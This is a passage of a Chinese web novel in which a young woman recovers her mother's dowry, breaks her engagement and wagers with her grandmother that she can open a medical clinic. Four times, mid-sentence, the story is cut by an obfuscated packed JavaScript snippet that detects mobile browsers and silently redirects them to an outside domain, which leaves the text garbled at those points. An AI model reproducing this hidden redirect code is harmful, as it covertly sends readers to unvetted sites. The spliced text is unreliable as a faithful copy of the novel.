她并未理会秦姨娘那番虚伪的推脱之词，挺直了纤细的背脊，目光迎向江云裳那道深不可测的视线，一字一句清晰地重复道：“祖母，桐儿想要亲自打理母亲的嫁妆。” 在临安城开一间像样的医馆，所费不赀。母亲的嫁妆，是她眼下唯一能抓住的依仗。 江云裳并未立刻回应她关于嫁妆的请求，那道沉沉的视线反而落在了孟玉桐身上那件极不合其气质的浓艳紫衣上。 她眉梢蹙了一下，声音听不出喜怒，“桐丫头，祖母记得，你最是厌弃这浓紫之色，嫌其俗艳压人。身上这一件是谁替你挑的？” 孟玉桐闻言，并未立即作答，只微微侧首，目光极快地掠过一旁脸色微变的秦姨娘，随即垂下眼睫，沉默不语。 一切，尽在不言中。 秦姨娘被那无声的一瞥刺得心头又是一跳，下意识地托了托手腕，仿佛想借那沉甸甸的金钏压下不安。 她脸上挤出几分尴尬的笑意，对着上首的江云裳解释道：“母亲明鉴，这身衣裳是妾身瞧着桐姐儿平日穿戴过于素净。 “想着纪府寿宴是何等体面场合，咱们孟家的姑娘，总该……总该拾掇得大方明艳些，才不堕了门楣名声不是？” 孟玉桐似乎听见上首传来一声极轻的嗤笑，轻得几不可闻。 直到瞧见江云裳脸上那道疤也跟着极其细微地向上牵扯了一下。她这才确信，祖母方才，是真的笑了。 “秦姨娘，”江云裳的声音平缓无波，手指在扶手上起伏的节奏依旧，“桐丫头方才说得不错。这些年，你打理这府中庶务，确、实、辛、苦、了。” “辛苦那自然是有一点的，”秦姨娘得了这“夸赞”，眉梢眼角的尴尬瞬间被一丝自得取代。 她抬手按了按鬓角新簪的步摇，语调都轻快了几分，“不过这么多年下来，妾身也都习惯了。母亲您这样说，倒显得生分了。” 她浸淫内宅多年，与银钱俗物纠缠不休，只余下那份自诩读过诗书的莫名孤高，至于话里的弦外之音、机锋暗藏，却早已迟钝得听不分明了。 “既如此，”江云裳手指微微一顿，目光冷冷地瞧着秦姨娘，“你这两日便将库房里柳氏留下的嫁妆，比着当年的嫁妆单子，一件一件，仔仔细细地清点出来，全数挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127373|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到杏桃院去。桐丫头要学理事，便从她娘的东西开始。” “啊？！”秦姨娘脸上那点刚扬起的得意之色倏然消散，化作一片惊惶，“这……母亲，这……夫人的嫁妆在库房里存了这些年，只怕……只怕一时半刻难以理清头绪啊！” “这点事都办不利索，”江云裳眉峰微蹙，声音陡然沉下，“你还能掌得起这个家？” “不！妾身不是这个意思！母亲——”秦姨娘脸色煞白，急切地上前两步，还想分辨。 江云裳却已不胜其烦，抬手按了按额角，眉间倦怠之色难掩。 侍立一旁的吴嬷嬷心领神会，立刻上前，半是搀扶半是强硬地将秦姨娘往外带：“秦姨娘，老夫人今日乏了，您同二小姐且先回去歇息吧。” 话音未落，已是不由分说地将人半推着送出了门。 孟玉柔左右看看，对上祖母冷肃的目光，心头一慌，匆匆福了一礼，也忙不迭地跟着她母亲退了出去。 眼见那对母女消失在门帘后，孟玉桐一直悬着的心，才终于沉沉落回实处。 她知道，祖母素来厌烦内宅这些琐碎纷争。 这偌大的孟府，除了祖父留下的基业是她心中唯一重要的事，其余人事，在她眼中不过是过眼云烟。 所以，即便秦姨娘行事拖沓、眼光浅薄，并非掌家良选，祖母也乐得将庶务丢给她，只要别出大差错，她也图个眼不见心不烦。 今日在纪府的小小风波，她刻意示弱，引而不发，方才在松风院的言语交锋，她以退为进，步步为营。 祖母洞悉世事，如何看不穿她这点小心思？ 若真惹得祖母不悦，她非但拿不回母亲的嫁妆，恐怕还要落个心机深沉、不识大体的印象。 所幸，有惊无险。 然而……孟玉桐下意识地攥紧了掌心那枚冰冷的玉葫芦。 葫芦身上繁复的花草纹路，此刻仿佛带着棱角，深深硌进她的皮肉里，带来一阵清晰而尖锐的痛。 她深深吸了一口气，仿佛要将最后一丝顾虑也彻底从胸中挤出去。 随即，她霍然抬头，迎向那道深邃莫测的视线，清晰地说道： “祖母，阿萤还有一事，需禀明祖母。” 她顿了顿，字字稳稳落下： “孙女想同纪家退婚。” 话音落下的瞬间，屋里烛台上那簇跳动的火苗，像是被无形的手拨了一下，骤然一晃，随即窜起，燃得比先前更亮、更烈。 那骤然而起的火光，倒是将江云裳脸上的那道旧疤映照得愈发清晰冷硬了。 厅堂中再无任何声息，孟玉桐只听见自己胸腔里那颗心，在一片寂静中一下，又一下跳动的清晰声响。 15. 第 15 章 吴嬷嬷刚把秦氏母女送出去，便立马折身回了正厅。 厅堂中气氛不太对劲，大姑娘与老夫人一站一坐，似在无言对峙。 恰在此时，她听见孟玉桐又重复了一遍：“孙女想同纪家退婚。” 吴嬷嬷步子一顿，压下惊得乱跳的眉头，快步回到江云裳座旁，偷偷瞧着她的神色。 只见江云裳未身形未动，她的右手搭在太师椅扶手上，食指正以一种毫无节律的的速度飞快地点叩着。 哒、哒、哒…… 敲击声急促细密，听得人胸中堵滞。 吴嬷嬷瞧着那只手，神色忧虑。 老夫人这右手从前落下的旧伤。 那时柳氏病势汹汹，老夫人恰在西南采购药材，她得了信，为赶时间押着药材冒险走了水路。 途中遇上悍匪，老夫人为护住药材，竟亲自提刀与匪徒搏杀。 药材虽保住了，她这只右手筋骨却遭重创。 回府后，顾不上好好休养，又操办了柳氏的后事，因此落下病根。 自此，每逢心绪激荡之时，右手指节便会如这般不受控制地飞速点动。 老夫人这是动了怒了！ “今日在纪府——”江云裳的声音沉沉响起，似在尽力按捺着胸腔中翻涌的躁怒与不耐，“可是纪夫人对你说了什么不中听的话？” 她平生最厌烦麻烦，府中琐事若非触及底线，素来睁只眼闭只眼。 可今夜，先是嫁妆风波，紧接着又是这晴天霹雳般的退婚。 她倒要听听，这素来谨小慎微、安分守己的孙女，今日缘何接连掀起这般惊涛骇浪！ 孟玉桐缓缓摇头，姿态恭顺：“纪夫人温婉慈和，气度雍容，待孙女极好，并无半句不妥之言。” 她话音微顿，抬眸迎上江云裳探究目光，“只是，今日景福公主亦在席间。公主殿下金尊玉贵，见了孙女，便直言不讳道：‘商户之女，终究是下乘之选。与纪公子这般的人中龙凤相配，实乃云泥之别，徒惹非议。’” 她静静觑着祖母的神色，果然捕捉到在听到“商户之女”、“云泥之别”这八个字时，江云裳脸上那道疤痕，极其细微地狠狠抽搐了一下。 孟玉桐心下了然，继续补充：“孙女当时心中自是难过。然归来后细细思量，公主殿下所言非虚。” “今日孙女置身纪府华堂，满目皆是簪缨贵眷。纪夫人涵养深厚，未曾对这门亲事流露半分不豫。然旁人目光……” 她唇角牵起一丝极淡的讽意，“那些夫人小姐们瞧着孙女的眼神，或明或暗，无不透着轻鄙与嘲弄。仿佛全天下人都认定，这桩婚事是孟家费尽心机攀附，是孙女捡了天大的便宜，占了不该占的位置。” “只因这些旁人的流言蜚语，”江云裳的声音陡然拔高，带着刺耳冷厉，右手点叩扶手的频率渐快，“你便自乱阵脚？纪家百年清誉，最重信诺！既已定下婚约，断无轻易反悔之理！你是与纪家结亲，不是与那些长舌妇论短长！” “祖母明鉴。”孟玉桐微微福身，姿态依旧恭谨，言辞却寸步不让，“孙女所虑，并非自身荣辱。而是担忧，孙女尚未过门，便已为纪家招致如潮非议。 “纵使纪家重信守诺，纪夫人与纪公子品性高洁，可天长日久，再深厚的情分，再坚固的信义，也经不起这众口铄金、积毁销骨的消磨。” 她抬起头，眸中清光湛然：“届时，恐非结亲，反成结怨！得不偿失，悔之晚矣！” 孟玉桐上前半步，直指要害：“孙女斗胆直言，这门亲事，原是仰赖祖母当年施与纪家的恩情才得以缔结。此等恩义，用在孙女的姻缘上，实属明珠暗投。” “不若趁此良机，主动退婚，全了孟纪两家颜面与情谊。纪家感念祖母深明大义，必心生愧疚。 “他日孟家商路之上，若有需纪家援手之处，譬如药材通路、贵人引荐，纪家焉能不念及今日退婚之情，倾力相帮？此乃，以虚名换实利，以姻缘换商途，方是物尽其用，不负恩泽！” 江云裳喉间忽地溢出一声短促的冷笑，“桐丫头，你今夜倒不像是来与祖母商量的。” 她身体微微前倾，那双沉淀着岁月寒霜的眼眸，直直看向孟玉桐，“你将这其中的盘算、利害，剖析得如此分明透彻。那你倒说说看，我当初为何要费尽心思，攀上纪家这门高枝，定下你这桩婚事？” 孟玉桐坦然迎着她的目光，声音清晰沉稳，“自祖父携家业迁至临安，在您二老呕心沥血经营下，孟家药材行曾盛极一时，跻身临安三大药商之列。然祖父早逝，父亲难承其业。这些年，全副重担皆由祖母一肩扛起。 “祖父与您当年苦心经营的人脉网，随着岁月流逝，已渐如沙□□塌。如今家中生意看似根基犹在，实则如困守孤城，销路日蹙，生机渐萎。” 她微微一顿，目光如炬，“与纪家结亲，便是您为这盘死局，寻到的一线破局之机。借纪家杏林世家之声威，百年清誉之底蕴，重开商路，再续人脉，解我孟家燃眉之急。” “你既看得这般通透，”江云裳的声音陡然拔高，“知晓这桩婚事于孟家乃是雪中送炭！那你凭什么以为，我会应了你，去退掉这门亲？！” 一旁的吴嬷嬷听得心头一紧，忍不住轻轻叹了口气。 老夫人这话听着竟像是将大小姐全然当作了一枚换取家族利益的棋子。可她知道，事实并非全然如此。 老夫人这性子啊，越是关切，那话说出来便越是伤人。 “祖母，”孟玉桐并未因这厉声质问退缩，腰背反而挺得更直，目光灼亮，“孙女以为，这桩婚事，绝非解决孟家困境的上策。 “它或可解一时之急，却如同饮鸩止渴，治标不治本！依靠这单薄脆弱、全系于他人一念之间的姻亲纽带，如何能保我孟家长盛不衰？ “纪家今日可因恩义履约，他日焉知不会因流言或利益，心生罅隙？” “哦？”江云裳倏然坐直了身体，虽虚靠在椅背上，周身气势不减，“听你这般侃侃而谈，莫非你有更好的法子？” “祖母！”孟玉桐不再犹豫，骤然撩开衣摆，双膝一屈，直挺挺地跪倒在冰冷坚硬的青砖地上！ “大姑娘！使不得！”吴嬷嬷惊呼一声，急忙上前欲扶。 “退下！”江云裳厉声喝止，目光死死锁住跪在堂下的孙女。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127374|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜这丫头的一举一动，一言一行，都与往日的谨小慎微截然不同。 仿佛褪去了一层温顺的壳，露出了内里的棱角。 她双目微阖，再睁开时，眸底掠过审视——这个桐丫头，何时变得如此陌生，又如此令人心惊？ 孟玉桐双手高举过顶，姿态郑重地向着上首的江云裳深深叩首，额头触及地面，发出一声闷响： “孙女斗胆，先行向祖母请罪。昔日祖母教导孙女研习医术时，曾严令不得在外人面前显露分毫。 “然数日前，孙女于桃花街偶遇纪家小公子突发腹痛，危在旦夕。孙女深知人命关天，刻不容缓，情急之下出手施救，违背了与祖母的约定。此乃孙女之过，甘受祖母责罚！” “绕了这许多弯子，”江云裳的声音有些不耐烦，“你到底想说什么？” 孟玉桐抬起头，额上已印上一抹淡红，眼神却亮得惊人： “孙女听闻，翰林医官院新近颁布政令，广纳民间良医。凡医馆医术精湛，经考核卓异者，可录入官家名册，享朝廷扶持，承办公差。 “孙女不才，蒙祖母多年悉心教导，一身医术虽不敢称登峰造极，却也绝非庸碌之辈。当日匆忙救治纪小公子后，更得纪昀公子亲口评断：‘手法精纯老道，强过城中泰半坐馆名医。’” 她深吸一口气，终于道出最终所求： “恳请祖母允准孙女开一间医馆。若能借此良机跻身官册，则孟家困境，非但可解，更能筑起一座由我孟家血脉亲手夯实的靠山。 “此山，根基在我，兴衰由我，岂不比那依附纪家、仰人鼻息的姻亲纽带，更坚固、更长久、更牢不可破？” “呵！”江云裳像是听到了天大的笑话，嘴角扯起一抹极冷的弧度，带着毫不掩饰的讥诮，“黄口小儿，口气吞天！开医馆？入官册？你当这是孩童过家家的儿戏？ “你一无人脉根基，二无雄厚资财，仅凭几句不知天高地厚的狂言，就想一步登天？我教你医术，可不是让你学得这般狂悖无知！” 面对这毫不留情的斥责，孟玉桐非但没有退缩，反而坦然望着江云裳： “祖母！”她的声音不高，却带着震慑人心的力量，“母亲在世时，曾多次对孙女言道：‘阿萤，你骨子里那股不肯低头的倔强，像极了你祖母年轻时的样子。一样的张扬恣意，觉着没有什么事是自己办不成的。’” “您年轻时曾那样惊才绝艳，即便如今宝刀归鞘，掩去锋芒，可阿萤相信，您的心仍是锋利的。” 孟玉桐的目光紧紧锁住江云裳微微颤抖的右手，“您心中是有不甘的吧。” 江云裳将手收拢了起来，握拳搁在膝头。 吴嬷嬷心惊肉跳地听着这一番话，紧张地瞧着她，她搁在膝头的手有轻微的颤意。 “大姑娘，您今日是累糊涂了罢，不若早些回去休息。”吴嬷嬷瞧瞧这边，又瞧瞧那边，急得似热锅上的蚂蚁。 这大姑娘如何知道老夫人年轻时的事情？定是那桂玉芬在她面前说了些什么，这不知轻重的坏事老货！ “祖母敢不敢同我打个赌？”孟玉桐仍跪着，地板上的凉意透过膝盖一丝丝往上透。 16. 第 16 章 孟玉桐跪得笔直，手中将那枚玉葫芦攥得更紧，“此次医馆选拔的期限为一年，我与祖母立下一年之约，若到时我顺利入选，往后我的婚事由我自己做主。若我不能做到，祖母让我嫁谁，我便嫁谁，绝无二话。” 江云裳望着孙女倔强的眼，心竟不受控制地跟着猛然抽了抽。 柳氏说的不错，这丫头的骨子里那一点倔劲与她相似。 可这并非幸事。 她花了近十年，一点点改去她身上那些不为世人所接受的，甚至被称之为‘离经叛道’的特质。 在她的教导下，孟玉桐成长得很好。 见过她的人都会赞一句，温雅娴静，大方娴熟，这才是世人喜爱的闺秀模样。 这样的孟玉桐，应该嫁入纪家，相夫教子，一世安稳。 这是江云裳为她安排好的路，亦是她在自己能力范围内，所能觅得的最安稳、最体面的归宿。 一切明明都已步入正轨…… 为何？为何忽然之间，精心构建的精美楼阁轰然坍塌？ 温顺的羔羊露出了利齿与犄角？ 应当立刻厉声喝止她！ 斥责她痴心妄想！ 痛骂她悖逆纲常！ 堂堂世家小姐，岂能如市井游医般抛头露面，坐堂行医？ 成何体统！ 然而……为何胸腔内那颗沉寂多年的心，此刻竟如战鼓般“咚咚”狂擂？ 为何四肢百骸沉寂已久的血液，竟汹涌沸腾起来？ 她的右手攥得更紧，可那丝颤抖还是从指缝间溢出，她觉得手上这道老伤口也跟着抽疼起来…… 孟玉桐跪着往前走，双膝在冰冷坚硬的青砖地上挪移，发出细微却惊心的摩擦声，一路跪行至江云裳的膝前。 她伸出那双微凉的手，轻轻地覆在江云裳的右手上。 她仰起头，眼睛亮得惊人，“祖母，阿萤有私心，阿萤不想做后宅中只能依附丈夫的菟丝花。阿萤想做乔木，既能为自己撑起一片天，未来，也能成为祖母的依靠。” 江云裳的右手，终于渐渐平稳下来，不再抖动了。 …… 子夜已过，万籁俱寂。 正厅内，香炉早已熄了最后一点火星，只余一缕冷香在凝滞的空气中缓缓飘散。 江云裳望着眼前这空荡荡的厅堂，指尖无意识地抚过冰凉的扶手，心头竟也掠过一丝恍惚。 她不知自己是如何鬼迷了心窍，竟应下了这事。 “老……老夫人，”吴嬷嬷小心翼翼托着孟玉桐留下的那块碧玉双鱼佩，如同捧着一块烫手山芋，“这……这纪家的定亲信物……该如何处置？” 江云裳没有立刻回答，只是将整个身体的重量缓缓卸向椅背，深深陷了进去。 她阖上眼，声音像是从很远的地方飘来，带着深深的倦意：“备几份厚礼，挑拣库房里压箱底的好东西。过两日，我亲自去纪府，将这信物原样奉还。” “老夫人！”吴嬷嬷急得上前一步，声音里满是痛惜，“这、这亲事当真就这么退了？纪家公子那般品貌家世，临安城里打着灯笼也难寻第二份啊！大姑娘她年轻气盛，您怎么也跟着……” 江云裳缓缓睁开眼，目光却没有焦距地落在跳跃的烛火上。 琉璃灯罩里，一点灯花“噼啪”轻爆，溅起细小的火星，转瞬即逝。 “昨夜在庄子上，”她开口，声音低沉得如同梦呓，“我做了个梦。” 吴嬷嬷屏住呼吸。 “我梦见桐丫头穿着大红嫁衣，嫁进了纪府那深院……”江云裳的视线仿佛穿透了眼前的烛火，看到了极其遥远而锥心的景象，眼中流露出几分罕有的、深藏的疼惜，“她过得很不好。像一株失了水土的花，一日日枯萎下去，最后只剩下一副冰冷的棺椁……” 吴嬷嬷倒吸一口凉气，回过神来，连忙宽慰：“老夫人！那、那不过是个梦罢了！梦境虚妄，如何能当真？大姑娘福泽深厚，定能……” “当真？”江云裳打断她，嘴角扯起一抹极淡的弧度，目光终于有了焦点，锐利而清明，“是梦，却未必是虚妄。” “今日桐丫头有句话，说得极对。纪家再是重诺守信，家风清正，可人心终究是这世上最易变、最难测之物。 “情深似海尚会干涸，何况这始于恩义、困于流言的姻亲？”她顿了顿，“天长日久，再深的情分也总有消磨殆尽的一日。 “若真到了那一日。纪家那深宅大院，反可能是吞噬她的泥潭。他们护不住她。” 她想起今夜孟玉桐的种种：与秦姨娘交锋时的隐忍与锋芒，在她面前剖析利害时的冷静与通透，立下赌约时的决绝与孤勇…… “她今日，”江云裳的指尖轻轻敲击了一下扶手，嘴角竟牵起一丝极淡的笑意，带着几分兴味，“倒真是让我刮目相看。行事有章法，看事也分明，胆魄更是不小。” 她望向窗外浓得化不开的夜色，声音极轻： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127375|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我倒是真有些好奇了，这一年之期过后，她究竟能不能赢下这场赌约？” * 两日后，天清气朗，微风和畅。 正午的日光直直落在杏桃院的青檐飞瓦上，院子里升腾着股闷闷热气。 孟玉桐慵懒地倚在回廊檐下的一张湘妃竹摇椅上，素手轻摇一柄素纱团扇。 她含笑望着仆役们鱼贯而入，将一箱箱、一匣匣贴着红封的物件小心翼翼地抬进院子，整齐码放在廊前那片被树荫筛下。 时不时，她清越的声音便会响起，带着几分闲适的关切：“慢些，仔细脚下，莫磕碰了边角。” 白芷搬了个小杌子，挨在孟玉桐脚边坐下，凑近了压低声音，带着一丝谨慎： “小姐，咱们真不去库房盯着点？那秦姨娘惯会耍滑，万一趁乱昧下几件要紧的，或是拿些成色差的来充数，可怎么好？” 孟玉桐提起团扇，用扇柄那头轻轻点了点白芷的额头，唇角噙着笃定的笑意：“傻丫头，祖母金口玉言发了话，她若还想稳稳当当地掌着府里那串钥匙，此刻巴不得把东西原封不动、仔仔细细地送回来，哪还敢动这等自掘坟墓的歪心思？” 白芷摸摸脑袋，“她最好有这般聪明。” 直忙到日头西斜，院子里堆放的箱笼匣盒才总算清点完毕。 秦姨娘额上沁着一层薄汗，鬓角也有些散乱，强压着满心不情愿，将一份誊抄清楚的嫁妆清单递到孟玉桐面前，语气硬邦邦的：“桐姐儿，东西都在这儿了，单子你也拿好。日后若再短了什么少了什么，可别又红口白牙地赖到姨娘头上！” 孟玉桐这才从摇椅上盈盈起身，接过清单，凝神细看，指尖顺着条目一行行比对下去，神色专注。 确认无误后，她将清单转交给侍立一旁的桂嬷嬷：“嬷嬷，劳烦您收妥了。” “姨娘辛苦了，不若留下喝盏清茶，歇歇脚再走？”孟玉桐转向秦姨娘，展颜一笑。 笑容明艳，衬得院中那粉的白的树树花朵都失了色。 秦姨娘被她这笑容刺得心头一堵，扯了扯嘴角，阴阳怪气道：“哟，可不敢叨扰桐姐儿的好茶！回头一个不小心，再落个贪图先夫人遗物的罪名，姨娘我浑身是嘴也说不清了！” “姨娘既不愿留下用茶，那桐儿便不虚留了。”孟玉桐笑意不变，目光却倏然落在秦姨娘下意识想用宽袖遮掩的腕间，抬手虚虚一点，道：“只是姨娘莫要忘了，将腕间的镯子也该一并入了库才是。” 17. 第 17 章 秦姨娘的脸色瞬间涨得通红，旋即又因羞恼转为铁青。 她猛地将腕上那对金光璀璨，宝石灼目的手钏褪下，几乎是砸进了孟玉桐怀里，尖声道：“谁稀罕你这点破铜烂铁！当谁都跟你娘似的，满身金银俗不可耐！” 说罢，再不敢停留，恨恨地一跺脚，扭身便冲出了杏桃院的月洞门，背影仓皇。 白芷冲着那消失的背影，狠狠啐了一口：“呸！装什么清高！不喜欢还天天当个宝似的藏着掖着，又生怕别人瞧不见，时不时撩起袖子显摆！打量谁不知道她那点龌龊心思呢！当谁愿意瞧她啊！” 孟玉桐拿起那一对金光闪闪的手钏，阳光穿过金丝缝隙，在上头折射出耀眼璀璨的光彩，映亮了她含笑的眼。 她唇角弯起，小心地将手钏收好，转身走向院子东侧那间专门辟出来存放母亲嫁妆的耳房。 进了耳房，但见靠墙整齐排列着十数个厚重的樟木箱和一只紫檀木匣，是方才清点好的母亲的嫁妆。 秦州自古盛产金玉，母亲的嫁妆也以此类为大宗。 靠里几个箱笼打开着，里面分门别类码放着各色光华璀璨的首饰。赤金点翠头面、羊脂白玉镯、累丝嵌宝项圈、珍珠璎珞……孟玉桐只略略看了一眼，便上前一一关上了箱子。 她转身，目光落在那只静静置于多宝格顶层的紫檀木匣上。 匣身深郁，触手温润微凉。 轻轻拨开黄铜小扣，里面码着厚厚一叠银票，还有一个塞得鼓鼓囊囊的青灰色织锦荷包。 银票面额大小都有，从一百两到一千两，厚厚一沓，算下来足足三千五百两。 那沉甸甸的荷包里，装的是方便花用的各色银锭子和碎银子，掂着得有二百两上下。 指尖碰到荷包那熟悉的料子，一股酸涩猛地冲上鼻尖，眼前瞬间就模糊了。 孟玉桐仿佛又看见母亲柳氏坐在那里。 从她很小的时候起，母亲每天忙完家事，总会坐在这妆台前，小心翼翼地从妆奁匣子或者袖袋里，摸出些散碎银子铜钱。 有时几钱，有时几两，都仔细地放进这个紫檀木匣子里。 窗外的日头透进来，正好照在母亲低垂的、温柔又专注的侧脸上。 “阿萤来，”母亲总喜欢拉过她的小手，一起摸着匣子底，感受着它一点点变沉，嗓子里带着一种满足的叹息，“匣子越沉啊，娘这心里就越踏实。” “都是给我的吗？”小小的她仰着脸问。 “嗯，都是给我们阿萤攒的。”母亲笑着点点她的鼻尖，眼里的光温柔得像要溢出来，“娘要给我们阿萤攒下一座金山银山，以后啊，我们阿萤想做什么就做什么，想去哪儿就去哪儿，谁也不能给我们阿萤半点委屈受……” 母亲离世前的景象，历历在目。 那时母亲已气若游丝，却仍固执地要人捧来这紫檀匣。 她冰冷的手紧紧攥着自己。 “阿萤……”母亲的声音微弱，仿佛风一吹就会散，“这匣子……还是不够沉啊……不知道……够不够给我们阿萤……开一间气派的医馆……若是不够……”她眼中滚下泪来，“还有外祖母留给我的那些金玉首饰……那些……都是你外祖母一件件亲手挑的……” 她喘了口气，用尽最后一丝力气，颤抖着从枕下摸出自己随身多年的一只织锦荷包，最后一次，猛地掷进了敞开的紫檀匣中。 “咚！” 一声沉闷而清晰的声响，仿佛砸在年幼孟玉桐的心尖上。 “咚！” 孟玉桐失神间，支摘窗被一只鸟雀撞得关拢起来。 屋子里的光影瞬间被收去大半。 她深吸一口气，压下翻涌的心绪，小心翼翼地将那只紫檀木匣捧起，稳稳地捧回了自己内室。 入了屋子，她从靠墙的黄花梨木多宝阁深处，取出一个略小的填漆戗金木匣，里面是她上回清点出的私房体己，约莫五百两。她将两匣中的银票、银锭、碎银，仔细清点汇拢。手头银钱总计四千二百两。 指尖划过冰凉的银票边缘，孟玉桐的心神却异常冷静。前世在纪家，她曾协助打理过纪家在御街一带的数间铺面，对临安城核心地段的租金、人工、物料开销了熟于心。 这笔钱，在御街中段租个位置不错、格局方正的铺面，是足够了。可开医馆哪是光租个铺子就行的？ 药材，特别是那些名贵药材的采买囤货、懂药材的伙计、定做药柜、铺子里的修整装潢……哪一样不是得大把砸银子进去？ 这四千二百两，必须精打细算。 她从厚厚一沓银票里，抽出三张一百两面额的银票，抬高声音唤道：“桂嬷嬷！” 桂嬷嬷应声进来，脸上带着点忧色。 “嬷嬷，之前托您找的那位孙牙郎，孙胜，那边有信儿了吗？” 这位孙胜孙牙郎，孟玉桐上辈子就知道他。 这人在临安城里是出了名的“地头熟”，路子野，消息灵，三教九流皆有往来。 最难得的是他眼光毒辣，心思活络，深谙人情世故，常能替主顾寻到合乎心意又价格公道的铺面产业，且口风甚紧，办事牢靠。 桂嬷嬷连忙点头：“回姑娘，孙牙郎递话进来了，说姑娘提的要求他都记下了。眼下御街那块儿正好空出来几间铺子，地段和格局都挺合姑娘的心意。他问姑娘什么时候方便，他亲自带姑娘过去瞧瞧。” 孟玉桐听了，目光转向窗外。 正是傍晚，天边烧着大片大片的晚霞，金红一片，烧得半边天都通红的，连院子里都镀上了一层暖融融的金光。 微风吹到脸上，还带着白天的暖意，又混着一丝清爽，让人胸口那股劲儿也跟着提了起来，觉得眼前豁亮。 她只觉得一股大干一场的酣畅之气在胸中激荡，豁然起身：“择日不如撞日，嬷嬷，叫上白芷，我们现在就去。” 桂嬷嬷看着孟玉桐眉宇间飞扬的神采，心中却是七上八下。 她嘴唇嗫嚅了几下，瞧着姑娘难得的兴头，本欲将劝阻的话咽下，可终究是忧心压过了顾虑，忍不住上前一步，苦口婆心地劝道： “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132393|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘……您、您再仔细思量思量啊！这开医馆……绝非儿戏。且不说这银子投进去，若有个闪失，那便是泼天的损失。单是这‘抛头露面、坐堂行医’的名声……” 桂嬷嬷的声音带着颤抖，“姑娘您是未出阁的千金。这临安城的唾沫星子，怕是顷刻间就能将人淹死啊。还有纪家那门亲事……老夫人虽允了您去退，可、可这亲事若真退了，您又开医馆不成，往后……往后可如何是好？当真是……得不偿失啊！” 两日前，孟玉桐从松风院回来不久，吴嬷嬷便气势汹汹地杀到杏桃院，对着桂嬷嬷劈头盖脸就是一通厉声斥责，直骂她是“老糊涂”、“坏了心肝的老货”！ 责备她不该将老夫人那些陈年旧事翻出来嚼舌根，撩拨得大姑娘“心思野了”，如今连纪家这般打着灯笼难寻的好亲事都闹着要退，竟异想天开要去开什么医馆！ 桂嬷嬷被骂得心惊肉跳，羞愧难当，直觉得是自己多嘴害了姑娘。 她找到孟玉桐，抹着眼泪，掏心掏肺地劝了又劝，恨不得将心窝子都掏出来。 可无论她如何苦劝，孟玉桐只是含笑听着，末了温声回一句“嬷嬷心意我懂，我心里有数”，那神情，分明是一个字也没听进去！ 她想拉白芷那丫头一起劝劝，谁知那丫头一听要开医馆，眼睛瞪得溜圆，非但不忧，反而拍着手连声叫好，缠着姑娘问何时去挑铺子、她要当第一个学徒！ 气得桂嬷嬷差点背过气去。 一想到这些，桂嬷嬷只觉得心口沉甸甸的，像压了块巨石。 孟玉桐已走到门口，闻言脚步顿住。她并未立刻回头，只是静静站了片刻。 傍晚的霞光从门外斜斜照入，勾勒出她纤细挺直的背影。 然后，她缓缓转过身来。 脸上并无愠色，亦无激动，只有一片平静。然而那双眸子，在霞光的映衬下，染上明丽的色彩。 她看着桂嬷嬷忧心忡忡的眼，声音清晰而坚定： “嬷嬷，您怕的，是银子打了水漂，是世人的指指点点，是阿萤日后无依无靠。” 她微微一顿，目光越过桂嬷嬷，仿佛穿透了时光，看到了母亲殷切期盼的脸。 “可阿萤怕的，是辜负了这匣子里，母亲用一生心血为阿萤攒下的‘底气’和‘可能’。是辜负了祖母应下赌约时，对阿萤的一丝期待。” 更是辜负了自己重活一世，想要亲手握住命运的这份不甘。 她字字千钧，敲在桂嬷嬷心上： “人活于世，若因畏惧人言与未知的失败，便连尝试的勇气都失去，那与困死在这四方庭院中的笼鸟，又有何异？ “嬷嬷，您愿意看着阿萤做那永远只能依附他人、看人眼色而活的笼中雀吗？” “嬷嬷，让阿萤试一试罢。” 桂嬷嬷微微晃神，方才姑娘那模样，与年轻时的老夫人倒是有七八分相像啊！ 罢了，这一家子，都是倔脾气，说不动，说不听啊！ 桂嬷嬷败下阵来，终于挪动了步子，“老奴这就去备车。” 